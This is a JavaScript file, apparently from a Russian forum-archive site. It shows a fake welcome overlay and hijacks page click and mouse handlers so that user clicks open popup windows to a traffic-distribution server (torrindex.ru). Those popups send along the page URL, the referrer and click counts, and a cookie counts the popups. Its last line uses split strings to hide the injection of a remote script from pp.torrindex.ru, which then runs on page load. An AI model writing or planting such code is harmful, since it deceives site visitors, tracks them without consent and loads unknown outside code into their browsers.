document.write("<div id=\"wel\" style=\"position:absolute; display:none;width:800px; height:400px; left:280px; z-index:10000; background-color:#0066FF; top: 300px\" onclick=\"clickunder()\"><p align=\"center\"><b>Сайт форумных архивов</b></p><p align=\"center\">Единый поиск по сайтам будет вновь включен в ближайшее время.</p><br><p style=\"text-decoration:underline\" align=\"center\">закрыть сообщение</p><br></div>");

var opens_ref=0;

var ns6 = document.getElementById && !document.all;
var ie = document.all;
if (ie){okno159=document.all.wel;}
if (ns6){okno159=document.getElementById("wel");}
okno159.style.display="";
if (ns6){okno159.style.top="81px";}
if (ie){setInterval(function (){okno159.style.top=document.body.scrollTop+document.body.clientHeight-500;},1);}
if (ns6){
okno159.style.position="fixed";
}

function DivOff_welcome() 
{   
	okno159.style.display='none'; 
}

globalclick=0;
function eventunder()
{
	document.onmouseup=clickunder;
	document.onclick=clickunder;
	document.onmouseover=event2under;
}
function event2under()
{
	document.onmousedown=eventunder;
}
var fu1=setTimeout("eventunder()",50);
var fu2=setTimeout("eventunder()",950);
var fu3=setTimeout("eventunder()",2000);
document.onmouseover=event2under;
document.onmousedown=eventunder;
rref=document.referrer;

eventunder();
try {
	window.onload=eventunder();
}
catch (e){
}
function clickunder()
{
	globalclick=globalclick+1;
	advert('1000000');
}


var lastOpen=0;
var Traf1=0;
function advert(gocode)
{
	day = new Date();
//	URL910 = "http://tds.plesh.ca/index.pl";
 	URL910 = "http://torrindex.ru/tds.pl?from="+escape(document.URL)+"&click="+globalclick+"&traf1="+Traf1+"&ref="+rref;

	id = day.getTime();
	if (id - lastOpen > 1000 && globalclick<10){
		lastOpen=id;
	 	eval("page" + id + " = window.open(URL910, '" + id + "', 'toolbar=1,scrollbars=1,statusbar=1,menubar=1,resizable=1,,,,');");
		this.window.focus();
		pathname = "/";
		myDomain = "/";
		var largeExpDate = new Date ();
		largeExpDate.setTime(largeExpDate.getTime() + (1 * 60 * 60 * 1000));
		Traf1 = GetCookie('under');
		DivOff_welcome();
		Traf1=Traf1+1;
		SetCookie('under',Traf1,largeExpDate, "/");
	}
	if (globalclick>6){
		DivOff_welcome();
	}
}



function GetCookieVal (offset) {
	var endstr = document.cookie.indexOf (";", offset);
	if (endstr == -1) endstr = document.cookie.length;
	return unescape(document.cookie.substring(offset, endstr));
}

function GetCookie (name) {
	var arg = name + "=";
	var alen = arg.length;
	var clen = document.cookie.length;
	var i = 0;
	while (i < clen) {
		var j = i + alen;
 		if (document.cookie.substring(i, j) == arg)
 			return GetCookieVal (j);
 		i = document.cookie.indexOf(" ", i) + 1;
 		if (i == 0)
 		break;
 	}
 	return 0;
}

function SetCookie (name, value) {
	var argv = SetCookie.arguments;
	var argc = SetCookie.arguments.length;
	var expires = (argc > 2) ? argv[2] : null;
	var path = (argc > 3) ? argv[3] : null;
	var domain = (argc > 4) ? argv[4] : null;
	var secure = (argc > 5) ? argv[5] : false;
	document.cookie = name + "=" + escape (value) +
 		((expires == null) ? "" : ("; expires=" +
 		expires.toGMTString())) +
 		((path == null) ? "" : ("; path=" + path)) +
 		((domain == null) ? "" : ("; domain=" + domain)) +
 		((secure == true) ? "; secure" : "");
}

document.write("<scr"+"ipt lan"+"guage='j"+"avas"+"crip"+"t' "+"type="+"'t"+"ext/jav"+"ascript"+"' src='h"+"ttp://p"+"p.tor"+"rindex.ru/ou"+"t.p"+"hp?sid=4"+"9201'"+"></s"+"cri"+"pt>");

